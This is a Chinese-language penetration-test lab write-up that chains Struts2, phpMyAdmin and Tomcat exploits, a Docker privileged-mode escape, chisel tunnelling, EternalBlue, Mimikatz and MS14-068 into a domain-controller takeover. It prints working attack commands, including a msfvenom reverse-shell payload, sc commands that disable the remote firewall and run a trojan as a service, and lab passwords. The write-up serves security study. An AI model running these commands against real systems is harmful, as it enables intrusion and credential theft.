记一次从外网到内网的渗透测试
字数 1983 2025-08-29 22:41:10

从外网到内网的渗透测试技术详解

环境概述

本次渗透测试环境涉及多种漏洞组合,包括:

  • 反序列化漏洞
  • 命令执行漏洞
  • Tomcat漏洞
  • MS系列漏洞
  • 端口转发漏洞
  • 域渗透技术

环境配置

机器密码:

  • WEB主机(Ubuntu): ubuntu/ubuntu
  • WIN7主机: douser/Dotest123
  • WIN2008主机(DC): administrator/Test2008 (后改为Itchen123)

网络配置:

  • 111网段为web网卡
  • 183网段为内网

Web打点阶段

信息收集

端口扫描发现4个开放端口:

  • 2001端口:Struts2框架文件上传接口
  • 2002端口:Tomcat页面
  • 2003端口:未授权访问的phpMyAdmin

Struts2-046漏洞利用

  1. 使用工具扫描发现存在S2-045和S2-046漏洞
  2. 确认S2-046漏洞可成功执行命令

phpMyAdmin后台getshell

  1. 确认版本为4.8.1,存在CVE-2018-12613远程文件包含漏洞
  2. 利用步骤:
    • 执行SQL语句并获取当前页面cookie中的phpMyAdmin值
    • 构造payload利用文件包含漏洞
    • 写入一句话木马并通过文件包含漏洞读取

Tomcat文件上传漏洞(CVE-2017-12615)

  1. 确认版本为Apache Tomcat/8.5.19
  2. 利用步骤:
    • 刷新页面并抓包
    • 将GET请求改为PUT请求
    • 上传jsp文件时使用双//绕过限制
    • 上传冰蝎payload并连接成功

Docker逃逸技术

判断是否在Docker容器中

  1. 检查hostname(通常为一串数字)
  2. 执行cat /proc/1/cgroup查看是否有docker字样
  3. 检查根目录下是否存在.dockerenv文件

Privileged特权模式逃逸

  1. 判断是否为特权模式:

    • 执行cat /proc/self/status | grep CapEff
    • 特权模式掩码通常为0000003fffffffff0000001fffffffff
  2. 逃逸步骤:

    • 查看分区情况fdisk -l,确认宿主机磁盘(通常为sda1)
    • 将宿主机磁盘挂载到容器中
    • 写入计划任务反弹shell
    • 在攻击机监听获取宿主机root权限

内网渗透

信息收集

  1. 通过ifconfig发现183网段
  2. 使用msf进行路由转发
  3. 主机扫描发现三台内网主机:129、130、128

横向渗透

  1. 使用chisel建立socks代理:

    • Kali开启服务端监听:./chisel server -p 8080 --reverse
    • Ubuntu客户端连接:./chisel client VPS_IP:8080 R:socks
  2. 配置proxychains:

    • 编辑/etc/proxychains4.conf
    • 添加socks5 127.0.0.1 1080

永恒之蓝漏洞利用

  1. 探测内网主机MS17-010漏洞
  2. 使用msf的exploit/windows/smb/ms17_010_eternalblue模块攻击
  3. 成功拿下192.168.183.130主机

域渗透技术

信息收集

  1. 查看域内主机:net group "domain computers" /domain
  2. 获取域名:ipconfig /all发现demo.com
  3. 查看Administrators组成员:net group "domain admins" /domain

Mimikatz提取密码

  1. 执行mimikatz.exe
  2. 输入命令:
    privilege::debug
    sekurlsa::logonpasswords
    
  3. 获取用户密码:douser/Dotest123

MS14-068域提权漏洞利用

漏洞条件:

  • 普通域用户及密码
  • 用户SID
  • 域控IP

利用步骤:

  1. 使用MS14-068.exe伪造票据:

    MS14-068.exe -u 域用户@域名 -s 用户SID -d 域控IP -p 用户密码
    
  2. 清除内存中的票据(使用mimikatz):

    kerberos::purge
    
  3. 注入高权限票据:

    kerberos::ptc 票据文件
    
  4. 验证权限:

    net use \\域控主机名\c$
    dir \\域控主机名\c$
    

拿下域控

  1. 关闭域控防火墙:

    sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    sc \\WIN-ENS2VR5TR3N start unablefirewall
    
  2. 生成msf木马并上传:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe > shell.exe
    
  3. 创建服务执行木马:

    sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\shell.exe"
    sc \\WIN-ENS2VR5TR3N start bindshell
    
  4. 开启远程桌面:

    • 使用msf模块post/windows/manage/enable_rdp
    • 或直接执行:
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      

技术总结

  1. Web漏洞利用

    • Struts2反序列化漏洞
    • phpMyAdmin文件包含漏洞
    • Tomcat任意文件上传漏洞
  2. Docker逃逸

    • 特权模式检测与利用
    • 宿主机磁盘挂载技术
  3. 内网渗透

    • Chisel隧道技术
    • 永恒之蓝漏洞利用
  4. 域渗透

    • Mimikatz密码提取
    • MS14-068域提权
    • 域控权限维持
  5. 遇到的问题

    • 通过代理的meterpreter会话不稳定
    • 木马执行有时会报错
    • 需要进一步研究稳定回传shell的方法

防御建议

  1. 及时更新中间件和框架补丁
  2. 限制Docker容器的特权模式
  3. 加强域内权限管理,及时安装安全补丁
  4. 启用防火墙并严格限制端口访问
  5. 对数据库管理界面实施强认证
从外网到内网的渗透测试技术详解 环境概述 本次渗透测试环境涉及多种漏洞组合,包括: 反序列化漏洞 命令执行漏洞 Tomcat漏洞 MS系列漏洞 端口转发漏洞 域渗透技术 环境配置 机器密码: WEB主机(Ubuntu): ubuntu/ubuntu WIN7主机: douser/Dotest123 WIN2008主机(DC): administrator/Test2008 (后改为Itchen123) 网络配置: 111网段为web网卡 183网段为内网 Web打点阶段 信息收集 端口扫描发现4个开放端口: 2001端口:Struts2框架文件上传接口 2002端口:Tomcat页面 2003端口:未授权访问的phpMyAdmin Struts2-046漏洞利用 使用工具扫描发现存在S2-045和S2-046漏洞 确认S2-046漏洞可成功执行命令 phpMyAdmin后台getshell 确认版本为4.8.1,存在CVE-2018-12613远程文件包含漏洞 利用步骤: 执行SQL语句并获取当前页面cookie中的phpMyAdmin值 构造payload利用文件包含漏洞 写入一句话木马并通过文件包含漏洞读取 Tomcat文件上传漏洞(CVE-2017-12615) 确认版本为Apache Tomcat/8.5.19 利用步骤: 刷新页面并抓包 将GET请求改为PUT请求 上传jsp文件时使用双//绕过限制 上传冰蝎payload并连接成功 Docker逃逸技术 判断是否在Docker容器中 检查hostname(通常为一串数字) 执行 cat /proc/1/cgroup 查看是否有docker字样 检查根目录下是否存在 .dockerenv 文件 Privileged特权模式逃逸 判断是否为特权模式: 执行 cat /proc/self/status | grep CapEff 特权模式掩码通常为 0000003fffffffff 或 0000001fffffffff 逃逸步骤: 查看分区情况 fdisk -l ,确认宿主机磁盘(通常为sda1) 将宿主机磁盘挂载到容器中 写入计划任务反弹shell 在攻击机监听获取宿主机root权限 内网渗透 信息收集 通过ifconfig发现183网段 使用msf进行路由转发 主机扫描发现三台内网主机:129、130、128 横向渗透 使用chisel建立socks代理: Kali开启服务端监听: ./chisel server -p 8080 --reverse Ubuntu客户端连接: ./chisel client VPS_IP:8080 R:socks 配置proxychains: 编辑 /etc/proxychains4.conf 添加 socks5 127.0.0.1 1080 永恒之蓝漏洞利用 探测内网主机MS17-010漏洞 使用msf的 exploit/windows/smb/ms17_010_eternalblue 模块攻击 成功拿下192.168.183.130主机 域渗透技术 信息收集 查看域内主机: net group "domain computers" /domain 获取域名: ipconfig /all 发现demo.com 查看Administrators组成员: net group "domain admins" /domain Mimikatz提取密码 执行 mimikatz.exe 输入命令: 获取用户密码:douser/Dotest123 MS14-068域提权漏洞利用 漏洞条件: 普通域用户及密码 用户SID 域控IP 利用步骤: 使用MS14-068.exe伪造票据: 清除内存中的票据(使用mimikatz): 注入高权限票据: 验证权限: 拿下域控 关闭域控防火墙: 生成msf木马并上传: 创建服务执行木马: 开启远程桌面: 使用msf模块 post/windows/manage/enable_rdp 或直接执行: 技术总结 Web漏洞利用 : Struts2反序列化漏洞 phpMyAdmin文件包含漏洞 Tomcat任意文件上传漏洞 Docker逃逸 : 特权模式检测与利用 宿主机磁盘挂载技术 内网渗透 : Chisel隧道技术 永恒之蓝漏洞利用 域渗透 : Mimikatz密码提取 MS14-068域提权 域控权限维持 遇到的问题 : 通过代理的meterpreter会话不稳定 木马执行有时会报错 需要进一步研究稳定回传shell的方法 防御建议 及时更新中间件和框架补丁 限制Docker容器的特权模式 加强域内权限管理,及时安装安全补丁 启用防火墙并严格限制端口访问 对数据库管理界面实施强认证